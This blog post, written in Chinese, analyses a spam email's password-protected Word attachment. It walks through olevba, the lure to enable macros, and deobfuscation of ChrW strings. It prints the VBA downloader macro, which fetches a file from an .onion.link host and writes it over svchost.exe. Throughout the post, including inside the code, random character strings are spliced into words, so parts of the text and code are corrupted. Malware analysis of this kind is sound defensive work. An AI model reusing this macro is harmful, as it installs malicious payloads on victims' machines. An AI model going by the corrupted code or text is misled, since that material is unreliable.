一次垃圾邮件的分析荐

上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。

  • 环境:ubuntu 16.04
  • office软件: Libre- V kOffice wa M 6rm 1 ] % @ite{ { O d n +r

1. FBI Warning

分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行

2. 邮件截图

3. 邮件分析

可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我# 2 ~ u Q @ N T ?们要重点关注的就是。

  • doc附件有密码,且密码为11w { 4 015

4. 附件分析

一般分析方法

  • 4.1 一般来说,非打开方式去分o | { O F析一个word附件,我们一般会选择oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletoolsG z S来提取word文档中的宏。
  • 4.2 olevba 提取宏展示

    olevba -c xxx.doc
    • -c: 只显示word中的宏代4 . s N g H } (
    • -a: 自动分析word是L B Q否可疑
      一次垃圾邮件的分析荐

加了密码后,就不能用一般的分析方法

  • 4.3 尝{ A : C试是用olevba来提取文档的vba代码
    一次垃圾邮件的分析荐
  • 4.4 关闭宏自动运行的前提下,打开word附件。
    • 4.4c W s { $ 0.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
      一次垃圾邮件的分析荐
    • 4.4.2 打开后,提示wordF & V文档包含宏
      一次垃圾邮件的分析荐
    • 4.4.3 诱惑用户启用宏
      一次垃圾邮件的分析荐
  • 4.5 查看宏代码
    可以看到这里存在一段vb编写的代码M 4 v x 2,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器
    一次垃圾邮件的分析荐

  • 4.6 宏代码分析
  • Step1. 访问暗网的某个网站下载一个文件,现在已经无法打开这个暗网的链接。
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsov g ! t zft.XMLHTTP")
WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", 0  I e M Z "passwoW r e j U + .rd"
WinHttpReq.send

如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
一次垃圾邮件的分析荐

  • Step2. 一个简单的混淆,拼凑出q i q
    Dim first5 As String
    Dim secU I 1 @ dond5 As String
    Dim last5 As String
    first5 = ChrW(65) & CQ v $hrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

    其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。

first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChW k b S TrW(68) & ChrW(66) & ChrW(46) &1  9 { J I ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)" 2 ) S
def convert_vb2py(s):
first_s = s.replace("ChrW","chr")
second_s = first_s.replace("&","+")
return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))

最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
一次垃圾邮件的分析荐

  • StP Y h .ep 3. 保存h$ E e 0 U v x [ @ttp://ypg7rfjvfywj7V L L = # - u 3 Rjhp.onion.link/icon.jpg 到本地文件

    xyuhjnx = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStre^ t gam.Write WinHttpReq.P 6 R Y p 5 RresponseBody
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) && b 4 F b . amp; ChrW(120) & CI h c G k & E }hrW(101)
    last6 = first6
    oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
    oStream& 7 8 r x g F J u.Close
    End IY - z = F L Z m Df
    End Sub

    代码@ ^ t W E i获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.ext A P F d w .e所在的目, 9 g s $ 6录,也就是c:\windows\system32\目录下,Val("2R ~ d m w NFFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。

  • 4.7 到此,我们分析完整个宏代码
    总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外p x e x # ] q的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。

参考链接

  • 其它事件分析1
  • 恶意软件分析网站分析结果
  • SaveToFIle参考